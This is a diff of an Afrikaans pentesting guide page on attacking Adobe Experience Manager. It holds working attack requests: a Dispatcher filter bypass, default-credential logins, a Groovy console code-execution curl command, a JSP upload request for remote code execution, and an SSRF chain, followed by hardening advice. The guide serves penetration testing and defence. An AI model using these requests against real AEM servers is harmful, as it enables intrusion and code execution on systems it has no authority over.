diff --git a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md index d0374b8d2..87fab4943 100644 --- a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md +++ b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md @@ -1,5 +1,117 @@ -{{#include ../../banners/hacktricks-training.md}} - -Vind kwesbaarhede en verkeerde konfigurasies met [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) +# AEM (Adobe Experience Manager) Pentesting {{#include ../../banners/hacktricks-training.md}} + +> Adobe Experience Manager (AEM, deel van die Adobe Experience Cloud) is 'n ondernemings CMS wat bo-op Apache Sling/Felix (OSGi) en 'n Java Content Repository (JCR) loop. +> Vanuit 'n aanvaller se perspektief stel AEM-instansies baie dikwels gevaarlike ontwikkelings eindpunte, swak Dispatcher-reëls, standaard geloofsbriewe en 'n lang ster van CVE's bloot wat elke kwartaal reggestel word. + +Die kontrolelys hieronder fokus op **extern bereikbare (unauth) aanval oppervlak** wat voortdurend in werklike betrokkenhede verskyn (2022-2025). + +--- + +## 1. Fingerprinting +``` +$ curl -s -I https://target | egrep -i "aem|sling|cq" +X-Content-Type-Options: nosniff +X-Dispatcher: hu1 # header added by AEM Dispatcher +X-Vary: Accept-Encoding +``` +Ander vinnige aanwysers: +* `/etc.clientlibs/` statiese pad teenwoordig (gee JS/CSS terug). +* `/libs/granite/core/content/login.html` aanmeldblad met die “Adobe Experience Manager” banier. +* `` kommentaar aan die onderkant van HTML. + +--- + +## 2. Hoëwaarde nie-geoutentiseerde eindpunte + +Pad | Wat jy kry | Aantekeninge +---- | ------------- | ----- +`/.json`, `/.1.json` | JCR knope via **DefaultGetServlet** | Dikwels geblokkeer, maar *Dispatcher omseiling* (sien hieronder) werk. +`/bin/querybuilder.json?path=/` | QueryBuilder API | Lek van bladboom, interne pades, gebruikersname. +`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix konsole | 403 per standaard; as blootgestel & akrediteer gevind ⇒ bundel-oplaai RCE. +`/crx/packmgr/index.jsp` | Pakketbestuurder | Laat geoutentiseerde inhoudspakkette toe → JSP payload oplaai. +`/etc/groovyconsole/**` | AEM Groovy Konsole | As blootgestel → arbitrêre Groovy / Java uitvoering. +`/libs/cq/AuditlogSearchServlet.json` | Oudit logs | Inligtingsontsluiting. +`/libs/cq/ui/content/dumplibs.html` | ClientLibs storting | XSS vektor. + +### Dispatcher omseiling truuk +Meeste produksie webwerwe sit agter die *Dispatcher* (omgekeerde proxy). Sy filterreëls kan omseil word deur 'n toegelate statiese uitbreiding **na 'n puntkomma of geënkodeerde nuwe lyn** by te voeg: +``` +GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1 +``` +'n Enkele versoek soos hierbo openbaar gereeld gebruikersprofielknope met e-posadresse. P-T Partners het goeie leiding oor hierdie swakheid gepubliseer. 【】 + +--- + +## 3. Algemene miskonfigurasies (nog steeds lewendig in 2025) + +1. **Anonieme POST servlet** – `POST /.json` met `:operation=import` laat jou toe om nuwe JCR knope te plant. Om `*.json` POST in die Dispatcher te blokkeer, los dit op. 【】 +2. **Wêreldleesbare gebruikersprofiele** – standaard ACL verleen `jcr:read` op `/home/users/**/profile/*` aan almal. +3. **Standaard akrediteer** – `admin:admin`, `author:author`, `replication:replication`. +4. **WCMDebugFilter** geaktiveer ⇒ weerspieëlde XSS via `?debug=layout` (CVE-2016-7882, steeds gevind op erfenis 6.4 installasies). +5. **Groovy Console blootgestel** – afstandkode-uitvoering deur 'n Groovy-skrip te stuur: +```bash +curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json +``` + +--- + +## 4. Onlangse kwesbaarhede (dienspakket ritme) + +Kwartaal | CVE | Aangetaste | Impak +------- | --- | -------- | ------ +Des 2024 | **CVE-2024-43711** | 6.5.21 en vroeër | Onbehoorlike invoervalidasie → **Arbitraire kode-uitvoering** (vereis lae-priv akte). 【】 +Des 2024 | CVE-2024-43724/26 | 6.5.21 en vroeër | DOM / Gestoor XSS in Move Page Wizard. 【】 +Des 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | DOM-gebaseerde XSS via vervaardigde URL. 【】 +Des 2022 | CVE-2022-30683 | ≤ 6.5.13 | Krypto ontwerpfout → geheime ontsleuteling (benodig lae-priv akrediteer). 【】 + +Kontroleer altyd die *APSB* bulletin wat ooreenstem met die kliënt se dienspakket en vra die nuutste **6.5.22** of *Cloud Service 2024.11*. + +--- + +## 5. Exploitasiestukke + +### 5.1 RCE via dispatcher omseiling + JSP opgelaai +As anonieme skryf moontlik is: +``` +# 1. Create a node that will become /content/evil.jsp +POST /content/evil.jsp;%0aa.css HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +:contentType=text/plain +jcr:data=<% out.println("pwned"); %> +:operation=import +``` +Now request `/content/evil.jsp` – die JSP loop met die AEM proses gebruiker. + +### 5.2 SSRF na RCE (histories < 6.3) +`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console` +`aem_ssrf2rce.py` van **aem-hacker** outomatiseer die volle ketting. 【】 + +--- + +## 6. Gereedskap + +* **aem-hacker** – Swiss-army enumerasie skrip, ondersteun dispatcher omseiling, SSRF opsporing, standaard-kredens kontrole en meer. +```bash +python3 aem_hacker.py -u https://target --host attacker-ip +```【】 +* **Inhoud Brute-force** – herhalend versoek `/_jcr_content.(json|html)` om versteekte komponente te ontdek. +* **osgi-infect** – laai kwaadwillige OSGi bundel op via `/system/console/bundles` as kredens beskikbaar is. + +--- + +## 7. Versterking kontrolelys (vir jou verslag se aanbevelings) + +1. Hou die instansie op die **nuutste kumulatiewe dienspakket** (soos van Jul 2025: 6.5.22). +2. Verwyder/roteer standaard rekeninge; afdwing SSO/SAML. +3. Versterk **Dispatcher filters** – weier `;`, geënkodeerde nuwe reëls, en `*.json` of `*.querybuilder.json` vir anonieme gebruikers. +4. Deaktiveer of beskerm consoles (`/system/console`, `/crx/*`, `/etc/groovyconsole`) met IP toelaat-lists. +5. Pas die *Anonieme Toestemming Versterking* pakket toe wat deur Adobe gestuur is. + +## Verwysings + +* Adobe Security Bulletin APSB24-69 – “Veiligheidsopdaterings vir Adobe Experience Manager (Des 2024)”. +* 0ang3el – aem-hacker hulpmiddel (GitHub). +{{#include ../../banners/hacktricks-training.md}}